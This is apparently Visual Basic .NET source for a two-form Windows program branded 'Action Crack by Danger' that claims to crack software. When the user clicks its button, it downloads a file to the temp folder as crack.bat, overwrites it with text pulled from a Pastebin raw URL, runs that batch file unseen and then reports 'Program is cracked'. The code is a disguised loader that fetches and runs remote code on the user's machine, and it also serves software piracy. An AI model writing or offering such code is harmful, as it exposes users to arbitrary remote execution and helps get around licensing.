ooo

Public Class Form1

    Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
        Application.Exit()

    End Sub

    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        Label2.Show()

        Dim TempFolder As String = My.Computer.FileSystem.CombinePath(My.Computer.FileSystem.SpecialDirectories.Temp, "crack.bat")

        My.Computer.Network.DownloadFile("https://drive.google.com/uc?authuser=0&id=0BzE21fo8qlamUi1KS1JsU0RrQ0E&export=download", TempFolder)

        Dim thefile As String = TempFolder
        Dim lines() As String = System.IO.File.ReadAllLines(thefile)

        lines(0) = ""
        lines(1) = ""
        lines(2) = ""
        lines(3) = ""
        lines(4) = ""
        lines(5) = ""
        lines(6) = ""
        lines(7) = ""
        lines(8) = ""

        System.IO.File.WriteAllLines(thefile, lines)

        Form2.Show()
        Form2.Button1.PerformClick()
        TextBox1.Text = Form2.TextBox1.Text

        Dim writefile As New System.IO.StreamWriter(thefile)
        writefile.Write(TextBox1.Text)
        writefile.Close()

        If thefile.Contains("crack.bat") Then
            Button3_Click(sender, e)
            System.Threading.Thread.Sleep(9000)
            Label2.Hide()
            MsgBox("Program is cracked", MsgBoxStyle.Information, "Action Crack by Danger")


        End If

    End Sub

    Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
        Dim TempRun As String = My.Computer.FileSystem.CombinePath(My.Computer.FileSystem.SpecialDirectories.Temp, "crack.bat")

        System.Diagnostics.Process.Start(TempRun)

    End Sub

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Label2.Hide()

    End Sub
End Class
-----------------------
Imports System.IO
Imports System.Net

Public Class Form2

    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        Dim address As String = "https://pastebin.com/raw/J5N37942"

        Dim client As WebClient = New WebClient

        Dim onlineread As StreamReader = New StreamReader(client.OpenRead(address))

        TextBox1.Text = onlineread.ReadToEnd



    End Sub

End Class